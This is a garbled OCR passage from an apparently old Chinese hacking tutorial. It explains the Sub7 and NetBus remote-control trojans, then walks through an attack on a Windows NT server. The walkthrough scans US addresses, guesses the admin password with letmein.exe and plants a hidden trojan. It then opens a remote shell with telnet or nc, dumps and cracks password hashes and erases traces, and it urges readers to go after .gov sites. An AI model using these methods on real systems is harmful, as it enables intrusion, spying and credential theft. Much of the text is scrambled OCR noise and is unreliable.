[run] : 只 能 执行 扩展 名 为 exe,com 或 bat 的 文

件 。

[path] :指定 路 径 。

[download] :只 要 你 认为 好 的 东西 ,你 都 可 以 点 击

从 你 的 受 控 方 的 机 子 上 不 费劲 的 取 过 来 。

[get size] :可 以 得 到 文件 的 大 小 。

[edit file] :编辑 文件 。

[upload] :上 传 文件 。 你 可 以 把 你 的 文件 传 到 受 控

方 计算 机 的 任何 目录 中 。

[delete] :大 家 都 知道 ,一定 要 慎 用 哟 。

f create dir] :在 受 控 方 的 爱 机 上 创建 目录 。

[play wav]: 播放 所 有 扩展 名 为 . warv 的 声音

件 。

[set wallpaper] :将 图 片 设 为 墙纸 。

[print] :打印 。

[display image] : 在 受 控 方 的 计算 机 上 显示 你 想

要 显示 的 图 片 。

Passwords: 可 以 得 到 一 些 你 意 想 不 到 的 密码 哆 ,

希望 他 别 把 密码 放 在 缓存 里 。 否 则 , 嘿嘿 …… 点 击 它

后 出 现 图 27 所 示 的 画面 :

FREE

用 所 有 TRANS

过 人

ER 放

ME

TRACERYEEZR LRC

1

RE 村 | 黄 R 罗 AMERG1 厨 他

内 计 雪 人

二 请 2

[get cached passwords] : 表示 得 到 缓存 中 存 贮 的

密码 。

[get redcorded passwords] : 表示 得 到 保存 在 记录

中 的 密码 。

[elear] :清除 记录 。

[show received passwords] : 显示 已 经 得 到 的 密

码 。

下 面 两 个 属性 大 家 都 比较 熟悉 ,我 就 不 详 述 了 。

reg edit; 可 以 任意 修改 被 控 方 的 注册 表 , 注册 表

可 不 是 闹 着 玩 的 ,大 家 一 定 小 心 哟 。

app redirect :当前 运行 服务 重 定向 。

port redirect :端口 的 重 定向 。

刚 说 完 老 大 , 老 二 就 来 了 , 点 击 miscellaneous , 出

现 其 下 拉 沫 单 , 如 图 28 所 示 :

[ile manager] ; 文件 控制 , 刚才 我 们 已 经 介绍 过

了 ,这 里 我 就 不 再 重复 了 。

[window manager] : 窗口 控制 。 其 主 界面 如 图 29

所 示 :

0 光 生

ji 了

STEEL

下放

eic

Ra

ER

首先 必须 点 击 [show all applications] 前 面 的 复 选

框 , 然 后 再 点 击 refresh, 你 才能 得 到 受 控 方 计算 机 的

全 部 应 用 。

[show] 表 示 显 示 状 态 栏 。

[hide] 表 示 隐 藏 状态 栏 。

Text - 2 - speech: 文本 以 声音 发 出 〈 必 须 其 机 上

有 一 个 东 东 ,你 自己 看 看 说 明了 吧 )。

clipboard manager: 剪 贴 板 控制 。 你 可 以 读 , 设 置 ,

或 者 清空 剪贴 板 中 的 内 容 。

ire bot:IRC 相关 的 东 东

经 过 紧张 的 学 习 后 , 可 以 给 你 的 朋友 开 个 玩笑 ,

那 就 不 能 不 用 到 下 面 的 工具 了 。 工 具 的 名 称 叫 fun

manager, 点 开 它 ,出 现 图 30 所 示 的 画面 ;

desktop/webcam: 你 可 以 获取 对 方 的 屏幕 , 点 击

WEEK

[open screen preview] ,将 出 现 图 31 所 示 的 画面 ,

.里面 有 两 个 特别 重要 的 属性 , 一 个 是 capture in-

terval (控制 动态 抓 图 时 间 ), 另 一 个 是 alow mouse

click, 如 果 你 选 了 它 , 那 就 意味 着 你 可 以 用 鼠标 在 你

的 计算 机 上 控制 受 控 方 的 计算 机 。 只 要 再 点 击

[enabled] ,一 切 就 大 功 告 成 了 。 现 在 你 就 可 以 在 你 的

计算 机 上 点 击 屏幕 ,使 受 控 方 执行 任何 一 个 操作 。 有

意思 吧 。 大 家 不 妨 试 试 。 如 果 你 确 得 显示 的 屏幕 太 小 ,

你 可 以 在 Server 端 设 置 一 下 。 具 体 设 置 方案 我 上 面 已

经 讲 过 。

[fall screen capture] 是 将 受 控 方 的 屏幕 全 图 抓 下

来 。

Flip screen; 把 对 方 屏幕 在 水 平方 向 或 者 垂直 方

向 颠倒 。

Print :打印 。

brower: 想 不 想 操纵 他 去 浏览 你 想 去 的 任何 一 个

主页 ?

resolution :决定 对 方 的 屏幕 显示 、 刷 新 率

win colors :最 好 别 改 ,看 起 来 可 真 不 习惯 。

可 能 是 玩笑 开 得 不 够 大 , 我 们 的 Sub7 的 开发 人

员 又 增加 了 一 些 逗 乐 的 工具 , 称 为 附加 工具 ,点 开 ex

tra fun, 我 们 得 到 的 下 拉 菜 单 如 图 32 所 示 :

screen saver: 屏 保 , 不 能 用 (因为 有 一 个 小 东 东 没

有 安装 )

restart win :重启 ,有 几 种 不 同 的 方式 。

Mouse : 控制 鼠标 的 小 东 东 , 只 有 你 想不到 的 , 没

有 办 不 到 的 。 使 鼠标 左右 键 颠 倒 ,隐藏 ,及 客户 端 控制

鼠标 的 移动 等 等 。

Sound: 可 以 录音 , 也 可 以 播放 wav 文件 , 还 可 以

改变 音量 ,从 而 吓 他 一 跳 。

time/vdate :修改 系 统 时 间 。

extra :一 些 附加 选项 ,如 对 光驱 的 操作 ,开始 处 状

态 栏 的 隐藏 等 。

现在 我 们 到 了 菜单 组 的 最 后 一 项 ,点 开 local op-

tions , 将 出 现 图 33,

quality: 与 本 地 显示 质量 , 与 ffon manager]/

[desktopywebcam]/fopen screen preview] 结合 起 来

用 ,从 而 提高 抓 图 的 质量 。

local folder: 本 地 目录

client coloer: 本 地 色彩 设置 , 可 以 改变 windows,

菜单 以 及 按钮 的 颜色 。

misc options :一 些 杂 项 的 设置

advance :高 级 设置 ,有 关 端 口 。

rim 了 Editserver: 配 置 server 端 。

名 字 , NetBus 的 中 文 名 字 应 当 叫 什么 呢 , 还 是 叫 网 络

巴士 吧 ! 想 一 想 网 络 上 的 巴士 ,控制 人 家 的 计算 机 像

坐 巴士 那样 来 去 自由 , 而 且 还 是 免费 的 哟 ! 你 是 不 是

也 希望 这 样 一 个 大 同 世 界 呢 ? 不 要 这 样 幻想 了 , 当 别

人 控制 你 的 计算 机 也 像 乘坐 巴士 一 样 来 去 自由 ,你 就

会 发 现 这 是 一 个 什么 样 的 焉 梦 了 。 还 是 让 我 们 走 近

它 ,看 一 看 NetBus 究竟 是 个 什么 东西 吧 。

一 、 网 络 巴 七 (NetBus) 是 什么

NetBus 是 个 功能 非常 强大 的 特洛伊 木马 软件 ,

它 类 似 于 著名 的 BackOrifice 黑客 软件 ,只 是 在 功能 上

有 所 不 同 。 与 BackOrifice 相似 ,NetBus 通过 TCPZDP

协议 , 可 以 远程 将 应 用 程序 指派 到 某 一 端口 来 运行 ,

这 就 相当 于 说 可 以 远程 运行 机 器 上 的 cmdq. exe, 想 想

这 是 多 么 危险 的 事情 。

如果 不 是 the Cult of the Dead Cow 黑客 组 在 98

年 的 DefCon 大 会 上 发 布 BackOrifice 工具 而 引起 轩 然

大 波 的 话 , 可 能 大 多 数 人 还 不 会 注意 到 三 月 份 发 行 的

NetBus。 据 说 NetBus 是 瑞典 程序 员 Carl - Fredrik

Neikter 为 了 “和 朋友 们 消遣 ”而 编写 的 ,当时 发 布 在

其 站 点 上 ,此 站 点 现 已 停办 。

粗 粗 一 看 , NetBus 似乎 没什么 危害 , 只 允许 黑客

控制 鼠标 , 播 放声 音 文件 , 或 者 打开 CD - ROM 托

架 。 但 如 果 深 入 分 析 , 就 不 难 发 现 其 中 大 量 的 破坏 性

功能 , 特 别 是 它 基 于 TCPZP 协议 在 Windows 95、

Windows 98、 和 Windows NT 上 运行 的 《与 日 版 本

BackOrifice 不 同 ), 这 大 大 增加 了 侵蚀 各 种 用 户 环境

的 可 能 性 。

NetBus 1. 60 版 能 实现 一 些 相 当 危 险 的 操作 : 黑

客 能 够 运行 远程 程序 , 进行 屏幕 抓 图 , 在 所 侵入 的 计

算 机 浏览 器 中 打开 URL, 显示 位 图 , 进行 服务 器 管理

操作 (如 更 改口 令 ) ,甚至 利用 远 端 的 麦克 风 录 制 一 段

每 一 个 舶 来 的 东 东 , 我 们 都 试图 给 它 取 一 个 中 文 ,

声音 。 更 可 怕 的 是 : 它 能 在 侵入 的 计算 机 上 显示 信息 ,

向 训 无 戒心 的 用 户 提示 输入 口令 , 再 把 该 口令 返回 到

人 侵 者 的 屏幕 上 。NetBus 还 能 关闭 Windows 系统 ,下

载 、 上 传 或 删除 文件 。

11 月 14 日 发 行 的 NetBus 1. 70 新 增 了 更 多 不 正

当 的 功能 。 如 : 重 定向 功能 (Redirection) 使 黑客 能 够 控

制 网 络 中 的 第 三 台 机 器 , 从 而 伪装 成 内 部 客户 机 。 这

样 , 即使 路 由 器 拒绝 外 部 地 址 ,只 允许 内 部 地 址 相互

通信 , 黑客 也 依然 可 以 占领 其 中 一 台 客 户 机 并 对 其 它

无 数 台 机 器 进行 控制 。

V1.7 甚至 还 能 指派 应 用 软件 至 某 个 端口 , 以 前

只 有 Netcat 一 黑客 的 梦幻 工具 一 一 用 于 Unixz 和 NT

时 才 具 有 这 种 功能 。 例 如 , 黑客 可 以 将 cmd. exe 指派

至 Telnet port 23 ,然后 Telnet 进入 该 机 器 ,从 而 接管 系

统 的 命令 提示 符 ,其 危险 后 果 不 言 自明 。

NetBus 的 默认 状态 是 在 port 12345 接收 指令 ,在

port 12346 作 应 答 。Telnet 登录 到 接收 端口 就 会 看 到

产品 名 称 及 版 本 号 ,还 可 以 修改 口令 。NetBus 能 通过

编辑 patch. ini 配置 文件 ,把 1 到 65535 之 闻 的 任意 数

字 指 定 为 端口 。 当 需要 绕 过 防火 墙 或 路 由 过 滤器 时 ,

端口 通常 就 会 设 为 33(DNS) 或 80(HITP)。

一 .NetBus 的 特点

NetBus 是 一 个 远 端 遥 控 软 件 , 简 单 的 操控 界面

和 完整 的 功能 是 它 的 特点 。 所 谓 远 端 遥控 就 是 透 过 网

路 连 线 ( 点 对 点 ` 区 域 网 路 、 网 际 网 路 等 等 ) ,从 一 台电

脑 去 控制 另外 一 台电 脑 。NetBus 有 许多 特别 的 远 端 遥

” 控 功 能 ,如 文件 管理 .屏幕 捕获 打开 软件 等 等 。 以 下

是 NetBus 功能 的 简单 说 明 :

令 和 被 控 端 即时 聊天

人 支持 Telnet, 可 以 使 用 Telnet 软件 使 用 被 控 端

的 MS - DOS 模式

人 支持 HITP, 只 要 使 用 浏览 器 就 可 以 上 传 或 下

载 文件

完整 的 视窗 管理 功能 , 可 以 控制 被 控 端 的 所

有 软件 视窗

2 应 用 软件 转向 , 例 如 可 以 从 远 端 电脑 使 用

MS - DOS 指令

2 打开 文件 , 如 运行 可 执行 文件 、 打 开 影 像 文

件 、 播 放声 音 文件 等 等

纺 监视 功能 , 如 监视 被 控 电 脑 的 键盘 动作 、 捕 损

屏幕 、 透 过 麦克 风 录 音 、 透 过 webcam 监 看 等 等

4 文件 管理 , 可 以 上 传 、 下 载 文件 、 删 除 文件 、 建

立 文件 夹 ,共享 文件 夹 等 等

令 开启 CD - ROM

2 鼠标 左右 键 功能 对 调

当然 , NetBus 的 功能 并 不 仅仅 只 是 以 上 所 列 , 但

看 到 这 里 , 读 者 是 不 是 已 经 党 得 它 的 功能 实在 太 强

大 ,而 有 些 妈 九 欲 试 了 呢 ?不 过 ,在 你 使 用 之 前 笔者 必

须要 提醒 你 , NetBus 的 遥控 功能 虽然 很 强 , 但 这 个 软

件 对 所 有 人 都 是 开放 的 , 也 就 是 说 , 你 也 有 可 能 成 为

黑客 攻击 的 目标 ,由 控制 端 变 成 被 控 端 !

三 、NetBus 的 安装 与 功能 详解

NetBus 包含 服务 器 (图 1) 和 客户 机 两 个 部 分 , 服

务 器 必须 安装 在 你 想 控制 的 计算 机 上 。 客 户 机 由 你 党

握 , 它 是 控制 目标 计算 机 的 程序 。 把 NetSever 服务 器

Pateh. exe( 可 更 名 ) , 放 人 目标 计算 机 的 任意 位 置 并 运

行 它 , 缺 省 时 安装 在 Windows 中 , 以 便 开 机 时 自动 运

行 。 把 NetSever 客户 机 , 装 在 自己 的 计算 机 里 。 开 始

NetBus, 连 接 你 选择 的 域名 或 瑟 地 址 ; 如 果 Patch 已

在 你 连接 的 目标 计算 机 中 运行 , 那 我 们 就 可 以 控制 它

了 。

机 etBHBus

图 1 图 2

注意 : 如 果 你 正在 被 黑 着 的 话 是 看 不 到 Patch 在

运行 的 。 它 在 Windows 启动 时 自动 运行 ,并 隐藏 Net-

Bus 和 Patch。 由 于 使 用 的 是 TCP/ 了 协议 ,因此 ,你 的

地 址 有 主机 名 ,IP 地 址 ,NetBus 都 会 用 Connect 按钮

把 你 联 上 。

这 个 程序 是 不 用 安装 的 , 只 要 运行 如 图 1 所 示 的

程序 , 就 会 弹出 如 图 3 所 示 的 这 个 窗口 , 这 就 是 Net-

Bus 的 主 界面 , 看 起 来 实在 是 有 点 朴素 , 朴 素 得 就 像

一 位 没有 化 妆 的 少女 ,是 吗 ? ! ! 不 , 它 的 的 确 确 是 一

个 叫 人 毛骨悚然 , 谈 之 色 变 的 通 往 地 狱 的 巴士 ,所 以 ,

你 千 万 不 要 被 它 的 外 表 所 迷惑 。

图 3

如 果 你 知道 对 方 的 主机 名 (或 了 地址) , 那 么 直

接 在 其 后 的 wen EN , 芭 | 文本 输

和信 框 中 输入 。 输 入 完毕 后 用 鼠标 左 键 单 击 Connectl!

(连接 ) 按钮 , 在 它 最 下 面 的 状态 栏 中 会 提示 你 : Con-

necting to [你 的 主机 名 或 瑟 地 址 ] (正在 与 远方 的 主

机 连接 ); 如 果 能 够 连接 到 对 方 主 机 则 状态 栏 会 提示

Connected to [你 的 主机 或 下 地 址 ] (verl.7) (已 经 连

接 上 主机 ); 如 果 对 方 没有 开机 或 对 方 没有 运行 Patch

程序 ,状态 栏 也 会 提示 你 :Couldn*t connect to [主机 名

或 下 地 址 ] (连接 不 上 对 方 主机 )。

如 果 你 不 知道 远程 的 主机 名 或 瑟 地 址 , 那 么 就

用 Scan( 检 测 ) 功能 去 查找 它 吧 ! 图 4 所 示 的 是 SR

的 对 话 框 。 27.0.0.1

后 面 的 是 终止 卫 , 当 你 单 击 Start 后 , 系统 就 会 通过 网

络 去 搜索 这 个 范围 内 的 主机 看 对 方 是 否 已 经 运行 了

Patch 的 木马 程序 , 而 start 按钮 会 自动 地 变 为 Stop , 当

你 按 Stop 时 检测 就 停止 了 。 在 Found PP - numbers 的

文本 框 中 会 显示 出 所 有 在 这 个 卫 范 围 内 的 已 经 运行

了 Patch 的 机 器 。port 是 端口 号 ,NetBus 默认 的 端口 号

是 12345, 如 果 你 试用 某 一 个 端口 找 不 到 的 话 可 以 换

一 个 端口 再 试 。Max sockets: 是 最 多 可 容纳 的 主机 ,

NetBus 默认 的 是 255 个 。Curent 了 是 当前 正在 检测

的 耳 值 。 如 果 没 有 检测 则 默认 的 是 0. 0. 0. 0。 当 检测

完了 以 后 且 不 需要 了 你 就 可 以 单 击 Clear 来 清除 掉 文

本 框 中 的 内 容 了 。 单 击 Close 关闭 这 个 窗口 ,但 是 它 却

192.168.0.10

还 在 后 台 运 行 , 当 你 再 单 击 scan 时 ,就 又 出 来 了 。

好 了 , 说 到 这 里 也 该 言 归 正 传 了 , 介绍 一 下 它 的

主要 功能 吧 !

儿 弹 开 / 关闭 CD - ROM 一 次 或 间隔 性 自动 开

关 。

单 击 Open CD - ROM 按钮 ,被 控制 端 如 果 有 光驱

就 会 弹出 来 , 当 这 个 命令 运行 后 , 按钮 会 自动 地 变 为

Close CD -ROM。 这 时 如 果 再 单 击 这 个 按钮 , 光 驱 就

会 弹 进去 。 也 许 对 方正 在 通过 光驱 安装 一 个 软件 时

候 , 他 被 黑 了 ,那个 样子 你 可 千 万 别 去 看 ,他 会 吃 了 你

的 。

令 显 示 所 选择 的 图 像

如 果 你 不 知道 图 像 文件 的 路 径 , 如 图 5 所 示 , 可

在 Patch 的 目录 中 找 。 需 要 说 明 的 是 NetBus 只 支持

BMP 和 JPcG 格式 。 如 果 你 想 打开 一 幅 图 片 ,就 必须 知

道 它 的 路 径 , 否则 就 无 法 打开 。 在 打开 图 片 后 按钮 会

自动 地 变 为 Romove image, 请 记 住 按 一 下 这 个 按钮 是

非常 必要 的 ,否则 被 控制 端 可 就 惨 了 , 这 幅 图 片 会 永

入 的 停留 在 桌面 上 给 人 带 来 不 必要 的 麻烦 , 除非 对 方

重启 计算 机 。

纹 交 换 鼠 标 按键 一 一 鼠标 右键 变 成 鼠标 左 键 的

单 击 Swap mouse 按钮 ,鼠标 的 左右 键 功能 就 会 互

换 , 哈哈 ,双击 左 键 竟然 弹出 了 属性 对 话 框 , 单 击 右 键

却 什 么 动静 都 没有 ,奇怪 吗 , 先 打开 e: \windows\ 目 录

或 杀毒 软件 看 一 下 吧 ,也 许 你 被 黑 了 。 怎 么 办 呢 ? 按 一

下 Reset 键 吧 !

令 开 始 所 选择 的 应 用 程序

单 击 Start Programe 按钮 ,会 弹出 如 图 6 所 示 的 对

话 框 , 在 里 边 你 可 以 填 人 你 想 要 打开 的 应 用 文件 , 是

不 是 很 简单 啊 ,NetBus 默认 的 是 Calc. exe 文件 , 就 是

如 图 7 所 示 的 计算 器 程序 。 如 果 你 想 打 开 了 正 、Photo-

shop 等 等 那 就 随 你 了 ,, 不 过 不 要 太 黑 啊 ,, 否则 你 也 会

-98745210.

图 7

乡 播放 所 选择 的 声音 文件

如 果 你 没有 声音 文件 的 路 径 , 可 在 Pacth 的 目录

中 找 , 支 持 WAV 格式 。 注 意 : 在 文本 框 中 输入 的 路 径

一 定 得 是 绝对 路 径 〈 如 图 8) , 否 则 它 可 不 能 蔡 你 找

元 S S% 如 SS

图 8

到 。

统 点 击 所 选 的 鼠标 坐标

你 甚至 可 以 让 你 的 鼠标 在 目标 计算 机 中 运行 。 单

击 Control mouse 按钮 , 当 你 的 鼠标 移动 时 , 会 出 现 你

@ 在 屏幕 上 显示 对 话 框 , 回答 会 返回 你 的 计算 机

中 。 Type 是 对 话 框 的 形式 ,有 四 种 供 你 选择 (如 图 9),

图 15

而 Buttons 则 是 让 你 选择 按钮 的 种 类 :

ok :只 有 一 个 确定 钮

ok《cancel :有 一 个 确定 钮 和 一 个 取消 钮 ;

Retry/Cancel: 有 一 个 重 试 钮 和 一 个 取消 钮 ;

Yes/No: 有 一 个 是 钮 和 一 个 否 钮 ;

Yes/No/Cancel: 有 一 个 是 钮 、 否 钮 和 一 个 取消

钮 。

jnformation :信息 框 ; 1 ES

Question :问题 框 ; 就 允许 被 控制 端 来 回答 你 所 发 送 的 信息 。Message 框

Warming :警告 框 ; 中 输入 要 告诉 对 方 的 信息 ,然后 单 击 send msg 按钮 发

Stop :停止 框 。 送 , 如 果 单 击 close 按钮 则 关闭 这 个 对 话 框 。 当 这 个 消

各 种 类 型 的 对 话 框 返回 信息 分 别 如 图 10、11、 息 框 到 达 被 控制 端 时 ,如 果 对 方 按 了 “是 " 则 你 的 屏幕

上 会 弹出 如 图 16 所 示 的 对 话 框 。

下 人 个 仙 于

|

令 关闭 系统 、 删 除 用 户 记 录 等

单 击 Exit 又 indows 按钮 , 会 弹出 图 17 所 示 的 对

话 框 ,NetBus 提供 了 四 种 命令 供 你 使 用

Logoff: 注销;

Power off :切断 电源 ;

Reboot :重新 启动 ;

Shutdown :关闭 系统 ;

令 用 缺 省 网 络 浏览 器 ,浏览 所 选择 的 URL

在 图 18 所 示 的 对 话 框 中 输入 一 个 网 址 , 在 被 控

制 端 会 用 其 默认 的 浏览 器 打开 这 个 网 站 。

图 18

4 发 送 键盘 输入 的 信息 到 目标 计算 机 , 如 图 19

所 示 。

图 19

令 监视 对 方 的 键盘 输入 的 信息 , 并 发 回 到 你 的 计

算 机

人 @ 清 屏 ! (连接 速度 慢 时 禁用 )

单 击 Screendump 按钮 , 你 就 可 以 将 被 控制 端 清

屏 。

人 获取 目标 计算 机 中 的 信息 (如 图 20)

图 20

令 上 载 你 的 文件 到 目标 计算 机 中

用 此 功能 ,可 上 载 Patch 的 最 新 版 本 。

图 21

令 记 录 麦 克 风 的 声音 ,并 将 声音 返回

2 按 一 次 键 每 次 有 声音

统 下 载 和 删除 目标 中 的 任何 文件

你 能 下 载 / 删 除 在 目标 计算 机 硬盘 中 所 选择 的 文

件 。 单 击 File manager 按钮 ,弹出 如 图 22 所 示 的 对 话

框 , 刚 弹 出 时 文件 显示 窗口 里 面 都 是 空 的 , 如 果 单 击

Show files 按钮 , 等 上 一 会 儿 , 窗口 中 就 出 现 了 你 控制

的 计算 机 中 的 所 有 文件 和 目录 。 行 了 , 你 现在 可 以 像

操作 你 自己 的 计算 机 一 样 来 操作 它 了 。 美中不足 的 是

它 只 提供 了 下 载 文 件 、 上 传 文件 和 删除 文件 三 种 操

作 , 是 太 少 了 一 点 ,等 着 吧 ,以 后 的 版 本 会 更 强大 的 。

(Remote file: 远 端的 文件 )。 “.

DeisLT.isud (36K)

SYS

RERADME.HLP (12K}

和 astun0.ffy (17836K)

人 DakKe ji Arena

XDICT

Hersion3.0

eujla.txt (15K)

bin

pages

frarmes

图 22

9 键盘 禁用 功能 。 单 击 Keys manager 按钮 , 弹 出

如 图 23 所 示 的 对 话 框 , 它 共 提供 给 我 们 三 种 功能 :

Key click : 点 击 键 。

图 23

Disable keys: 自 定 义 设置 哪个 键 禁用 ,如 图 24 所

示 。

图 24

Disable all keys: 所 有 的 键 都 禁用 。

密码 保护 管理

人 显示 死机 和 集中 系统 中 的 窗口 。

上 述 功 能 的 一 些 选 项 在 执行 时 ( 逮 辑 排 异 ), 可 能

会 延 退 几 秒 。

Conneet 按钮 有 个 很 好 的 特点 , 它 能 扫描 NetBus

计算 机 中 的 下 地址 。 一 旦 连接 它 会 停止 扫描 。I 扫描

的 参数 是 xx. xx, xx. xx + 卫 , 等 。127. 0. 0.1 + 15 将 扫

描 垩 地址 的 范围 是 127. 0. 0.1 到 127. 0.0. 16。

在 NT 下 的 操作 与 Win95/98 下 的 操作 是 一 样

的 , 惟 一 的 不 同 点 就 是 在 被 控制 端 运 行 的 不 是

Patch. exe ,而 是 ntsrv. exe, 这 里 就 不 一 一 介绍 了 。 只 是

通过 网 上 实例 来 让 大 家 看 一 下 黑客 在 网 上 是 如 何 工

作 的 。 下 面 就 是 一 位 黑客 用 NetBus 攻击 NT 的 实例 。

四 、NetBus 实战 演 司

一 般 用 户 均 为 拨号 上 网 , 速度 较 慢 , 绝对 不 适合

大 数据 量 攻击 , 比 如 密码 强攻 等 ,而 且 很 容易 暴露 目

己 , 留 下 攻击 痕迹 ,给 自己 带 来 极 大 的 危险 。 所 以 , 建

立 自己 的 中 间 堡 做 是 迈 向 成 功 的 第 一 步 。 所 谓 中 间 堡

又, 实际 上 就 是 连接 在 高 速 网 络 上 的 远程 计算 机 ,, 我

们 在 本 地 通过 Telnet, 控 制 远程 计 算 机 上 运行 的 攻击

程序 这样, 没有 直接 对 目标 进行 攻击 , 敌 人 很 难 发

现 ,而 且 远程 计算 机 有 很 宽 的 带宽 , 速度 较 快 ,减少 攻

击 时 间 。 比 如 在 美国 , 绝 大 多 数 计算 机 都 是 通过 干 兆

网 连接 到 Intermet, 其 速度 不 比 我 们 在 局 域 网 慢 。

那么 ,怎么 建立 自己 的 中 间 堡 垒 呢 ? 在 美国 ,上 网

计算 机 数量 巨大 , 几 乎 有 40% 以 上 的 计算 机 是 相当

容易 攻破 的 , 所 以 , 我 们 只 要 想 办 法 攻 人 一 台 位 于 美

国 的 计算 机 , 并 成 功 的 在 其 上 安装 木马 程序 及 攻击 工

具 程 序 , 接 下 来 就 好 办 多 了 。 请 看 下 面 我 们 的 经 历 :

1、\ 利 用 Pinger 程序 ,查找 美国 的 一 段 卫 地址 ,如

果 没 有 任何 机 器 ,再 换 一 段 ,直到 找到 目标 ,如 图 25 :

图 25

可 以 发 现 , Pinger 程序 在 一 连续 的 下地 址 上 , 找

到 目标 计算 机 的 一 些 相 关 信 息 , 比 如 :

209. 102. 20. 193 - SERVER, 其 中 209. 102. 20. 193

为 计算 机 的 耳 地 址 ,SERVER 为 机 器 名 , 接 下 来 , 我

们 进入 DOS ,运行 kilusa 编制 的 letmein. exe :如 图 , 26:

letmein. exe 的 运行 格式 如 下 :

letmein. exe file: / /server/ - group -op pwd

其 中 - group 为 :

mainadmin - domainusers -guests domainguests )

-op 为 :(- 允 攻击, -d 只 显示 用 户 )

pwd 为 :mypwd

例如 :letmein file: /ZL111. 111. 111. 1117 -all -

(对 \111. 111.111. 111 上 所 有 用 户 攻

( -al -aqdmin -users -do-

g mypwd

击 )

接 下 来 ,letmein 程序 开始 取得 SERVER 的 相关

用 户 ,并 简单 尝试 其 口令 , 非常 幸运 ,SERVER 操作 系

统 为 NT,killusa 很 快 取得 SERVER 上 管理 员 为 Pear-

son 的 口令 为 Pearson ,结果 如 图 27:

0 呈 有

这 人 多 6

人 2 Re-

人 人

7 Te

当然 ,您 的 运气 也 许 没 有 这 人 么 好 ,没关系 ,反复 试

公公 终归 会 有 一 个 笨蛋 失误 , 我 们 以 多 年 的 经 验 保

证 您 可 以 在 美国 找到 这 人 么 一 台 计算 机 !

接 下 来 ,继续 在 DO0S 状态 下 运行 ,如 图 28:

ER

的 AR

=

其 实 , 这 时 , 您 已 经 以 管理 员 的 身份 登录 到 该 机

需 上 了 , 接 下 来 ,赶快 将 工具 程序 拷贝 到 该 计算 机 上 ,

如 图 29:

程序 已 经 复制 到 远程 计算 机 上 , 那么 如 何 启动 木

马 程序 ntsrv. exe 呢 ,请 看 图 30:

他 = co crhacicuteshuo vexe SN2BS 1 避 2 328, Qininkswacen3

主人 Rs 和 PoiEe-

spp PASSnydduiip-ae 3 的 -193.35-198Sain6SSASaRd

Fiieksy cdRie 全 .

Sieopy eacksnaysue-exye ANSEO LS- JOYAadmninsnsyekem3

:Ja

TO 和 本 SR

0 光 这 EL

2 珊

这 样 , 在 远程 计算 机 时 间 13: 30 分 (时 间 在 let-

mein 已 显示 , 估计 后 延 一 把 ), SERVER 上 的 SCHED-

ULE 服务 程序 将 启动 ntsrv. exe, 并 监听 端口 : 64321 ,

当然 , 端 口号 可 以 根据 自己 的 习惯 , 建 议 在 200 -

65360 ee

民 , 您 已 成 功 占领 该 计算 机 ,启动 NetBus 客户

端 程 : NetBus. exe, 在 hosl name/IP 中 填 人

209. 102. 20. 193, 在 Port 中 填 人 64321,

“Connect! “按钮 ,如 图 31:

选择

铀 31

具体 NetBus 的 用 法 , 可 以 查看 其 Help 文件 , 接

下 来 ,选择 ”Get Info” ,如 图 32,

图 32

可 以 判断 其 WinNT 安装 在 c:\ winnt 目录 下 ,, 接

下 来 ,选择 “App Redirect”, 如 图 33:

图 33

当然 , 端口 可 以 自己 选择 , 但 建议 尽量 大 点 , 如:

61111, 5$9999 等 , 这 样 , 你 就 可 以 通过 Telenet. exe 或

nc. exe 来 控制 远程 计算 机 SERVER 运行 你 的 攻击 程

Re 34:

ER

全 SN

失 人

6C CO 用 idht ES 人 SO 环 本

让 浊 下 人 光 他

站 这

有 EN

的 和 :0

EC NE STTV ineeis 共生

8 人 的 ER

识 0

0

2

v

二 和

3 > 六

利用 nc. exe 的 界面 :

Telnet 用 法 如 下 :teinet 209. 102. 20. 193 54321

而 且 必 须 将 终端 一 首选 选项 一 本 地 响应 选 上 , 利

用 Telnet, exe 的 界面 (如 图 35):

这 样 , 。 程 计 算 机 上 运行 DOS 窗口 , 并 将

你 的 运行 程序 结 | 人

jcy ov 1985-1998 .HicrosqaFt Corp -

和 AUTHHTAsysteh32>net .ufee

汉人 We

1Seruver tape “Renark

加 3 二 =r-= 一 = 一 一 一 一 -一 -一 -一 一

人 ABRfioy. Production Setuer 《II1S。SQL。SHTP)

全 VCOKHSUR 986 息 .Seruee Statan

ANDRUES -Toshiba 25CDT Hateboog

人 NOSHOHD Pentium 200 8 Deu-2

ANPRRTRIDGE Vonhad 122

NNSERNUER Rdntndstratiue Seruer - .Printers and -Files

3The .cqRnand .Completed- succeSSFuIty-

3

和 snamvsystewaz 坦

运行 在 远程 计算 机 上 , 速

点 ,你 就 会 发 现 不 一 样 。

接 下 来 ,必须 取得 该 站 点 的 密码 , 扩 大 战果 , 在

telnet 或 nc 中 ,运行 pwddump. exe ,如 图 36,

本 请 遇 下 二 的

度 只 要 你 ping 一 下 美国 的 站

ES

机 Ed

茎 3

NE

六 2

然后 , 利用 NetBus 将 server. lc 下 载 到 本 地 , 利用

LOphtCrack 2. 5 解 出 其 他 密码 ,如 图 37:

| 妇 daintsckacor 32333373L

LI AISUOFD

. 了 120A9A823BJA57659500!

JPJLL ?NSSd0D FDI ASSU0TD 字

。 0350TJ6R7860z23P6B6DKC3

Z405954796 由 7R7LAAD3847

45828985KF192504ADOB 人 |

JELL FAsSWOR TULL ASS9b3D 风 |

cg7z73977278D3BDLID3B 人

1L533 LG73

PXAPSQHN aarron

TXTVL ASSVUOFD

CH?KT73982Z7BP3BDAAD3 昌 4

IOXX30310C87, 78B8617TD2

这 SEX41744893C45092043 本

:省 nwc nor

图 37

得 到 了 密码 , 接 下 来 的 事 我 就 不 用 再 说 了 ,, 但 千

万 注意 保护 好 这 个 堡垒 ,不 要 在 上 面 留 下 不 该 留 下 的

垃 瓜 ,也 千 万 不 要 删除 上 面 的 任何 文件 ,攻击 完 后 ,一

定 要 将 相关 现场 恢复 , 如 删除 server. lc, pwddump. exe

等 文件 。

这 里 只 介绍 攻击 NT 服务 器 的 基本 方法 , 攻 击 一

个 站 点 时 , 往往 主 站 点 很 难 进 入 , 也 不 会 有 这 种 管理

员 的 密码 一 猜 就 中 , 但 不 要 泄气 , 用 Pinger 扫描 其 相

差 一 个 或 几 个 C 端 地 址 , 攻 击 其 防范 不 严 的 相关 机

一 步 一 步 得 到 管理 员 的 密码 , 如 目标 为 :

www. somesite. gov, 其 卫 为 : 111.111. 111. 111, 扫描

出 其 所 在 C 类 地 址 所 有 下 ,攻击 其 相关 服务 器 或 其 工

作 人 员 站 点 机 , 比 如 www. somesite. gov, 管 理 员 其 中

有 : usasb, 利用 letmein 无 法 得 到 管理 员 密 码 , 但 其 中

